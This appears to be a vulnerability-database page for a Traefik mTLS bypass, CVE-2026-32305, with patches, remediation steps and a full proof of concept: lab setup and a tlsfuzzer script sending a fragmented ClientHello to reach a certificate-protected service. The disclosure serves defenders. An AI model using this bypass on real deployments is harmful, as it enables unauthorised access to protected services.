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CVE-2026-32305

HIGH

Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config

Published March 20, 2026Updated April 16, 2026Source: osv

Summary

## Summary There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets. When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> ### Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config. If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config). ### Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello. 1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected. Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello). A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config). A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation). ### PoC ```python # prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" # in debian/ubuntu run newgrp docker to apply the new group to the user mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc # CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt # Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOF_SERVER_CNF' [req] distinguished_name = dn req_extensions = v3_req prompt = no [dn] CN = whoami.home.arpa [v3_req] subjectAltName = @alt_names [alt_names] DNS.1 = whoami.home.arpa EOF_SERVER_CNF openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3_req -extfile certs/server.cnf # Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256 cat > config/traefik.yml <<'EOF_TRAEFIK_CFG' entryPoints: websecure: address: ":8443" providers: file: directory: /etc/traefik/dynamic watch: true log: level: DEBUG EOF_TRAEFIK_CFG cat > config/dynamic/dynamic.yml <<'EOF_DYNAMIC_CFG' http: routers: whoami: rule: "Host(`whoami.home.arpa`)" entryPoints: - websecure service: whoami tls: options: mtls services: whoami: loadBalancer: servers: - url: "http://whoami:80" tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOF_DYNAMIC_CFG docker network create traefik-poc # run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0 docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml # watch traefik logs to ensure everything was deployed correctly docker logs traefik # tlsfuzzer setup + frag client script mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt cat > frag_clienthello.py <<'EOF_FRAG_SCRIPT' import argparse import sys import os from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIG_ALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, _, body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n") def load_client_cert_and_key(cert_path, key_path): cert = None key = None if cert_path: text_cert = open(cert_path, "rb").read() if sys.version_info[0] >= 3: text_cert = str(text_cert, "utf-8") cert = X509() cert.parse(text_cert) if key_path: text_key = open(key_path, "rb").read() if sys.version_info[0] >= 3: text_key = str(text_key, "utf-8") key = parsePEMKey(text_key, private=True) return cert, key def main(): p = argparse.ArgumentParser() p.add_argument("--connect-host", default="127.0.0.1") p.add_argument("--port", type=int, default=8443) p.add_argument("--sni", default="whoami.home.arpa") p.add_argument("--record-size", type=int, default=512) p.add_argument("--padding-len", type=int, default=1200) p.add_argument("--expect-cert-request", action="store_true") p.add_argument("--client-cert-pem", default="") p.add_argument("--client-key-pem", default="") args = p.parse_args() cert, key = load_client_cert_and_key(args.client_cert_pem, args.client_key_pem) print(f"[DBG] cert_arg={args.client_cert_pem!r} key_arg={args.client_key_pem!r}") for p in [args.client_cert_pem, args.client_key_pem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}") print(f"[DBG] cert_loaded={cert is not None} key_loaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}") if (args.client_cert_pem or args.client_key_pem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem") conv = Connect(args.connect_host, args.port) node = conv node = node.add_child(SetMaxRecordSize(args.record_size)) ext = { ExtensionType.server_name: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supported_groups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signature_algorithms: SignatureAlgorithmsExtension().create(SIG_ALL), ExtensionType.signature_algorithms_cert: SignatureAlgorithmsCertExtension().create(SIG_ALL), 21: TLSExtension().create(21, bytearray(args.padding_len)), } ciphers = [ CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, CipherSuite.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, CipherSuite.TLS_DHE_RSA_WITH_AES_128_CBC_SHA, CipherSuite.TLS_EMPTY_RENEGOTIATION_INFO_SCSV, ] node = node.add_child(ClientHelloGenerator(ciphers, extensions=ext)) node = node.add_child(ExpectServerHello()) node = node.add_child(ExpectCertificate()) node = node.add_child(ExpectServerKeyExchange()) if args.expect_cert_request: node = node.add_child(ExpectCertificateRequest()) node = node.add_child(ExpectServerHelloDone()) if args.expect_cert_request and cert and key: node = node.add_child(CertificateGenerator(X509CertChain([cert]))) node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(CertificateVerifyGenerator(key)) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.add_child(ApplicationDataGenerator(req)) node = node.add_child(PrettyExpectApplicationData(output=sys.stdout)) node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify)) node = node.add_child(ExpectAlert()) node.next_sibling = ExpectClose() elif args.expect_cert_request and not (cert and key): node = node.add_child(CertificateGenerator()) node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) else: node = node.add_child(ClientKeyExchangeGenerator()) node = node.add_child(ChangeCipherSpecGenerator()) node = node.add_child(FinishedGenerator()) node = node.add_child(ExpectChangeCipherSpec()) node = node.add_child(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.add_child(ApplicationDataGenerator(req)) node = node.add_child(PrettyExpectApplicationData(output=sys.stdout)) node = node.add_child(AlertGenerator(AlertLevel.warning, AlertDescription.close_notify)) node = node.add_child(ExpectAlert()) node.next_sibling = ExpectClose() try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise if __name__ == "__main__": main() EOF_FRAG_SCRIPT chmod +x frag_clienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate # case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python frag_clienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request # case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl s_client \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls1_2 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verify_return_error # case 2: non fragmented, with valid client cert (should succeed) python frag_clienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key # case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl s_client -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls1_2 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet # case 3 fragmented ClientHello, no client cert (bypass behavior test) python frag_clienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 # in the record-size you can play with it as long as the client hello sni sniff function returns an EOF ``` ### Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config. </details> --

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/traefik/traefik/v2 to 2.11.41 or later
go get github.com/traefik/traefik/v2@v2.11.41
Go
Update github.com/traefik/traefik/v3 to 3.7.0-ea.2 or later
go get github.com/traefik/traefik/v3@v3.7.0-ea.2
Go
Update github.com/traefik/traefik/v3 to 3.6.11 or later
go get github.com/traefik/traefik/v3@v3.6.11

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (4)

PackageEcosystemAffectedFixed In
github.com/traefik/traefik/v2
go
All versions2.11.41
github.com/traefik/traefik
go
All versionsRange-based data available
github.com/traefik/traefik/v3
go
All versions3.7.0-ea.2
github.com/traefik/traefik/v3
go
All versions3.6.11

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-287
    Improper AuthenticationMITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Confidentiality
Integrity
Availability

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Frequently Asked Questions

What is CVE-2026-32305?
Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config This vulnerability has been assigned a severity rating of HIGH (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-32305?
CVE-2026-32305 affects github.com/traefik/traefik/v2, github.com/traefik/traefik and github.com/traefik/traefik/v3. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-32305 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-wvvq-wgcr-9q48
GO-2026-4793

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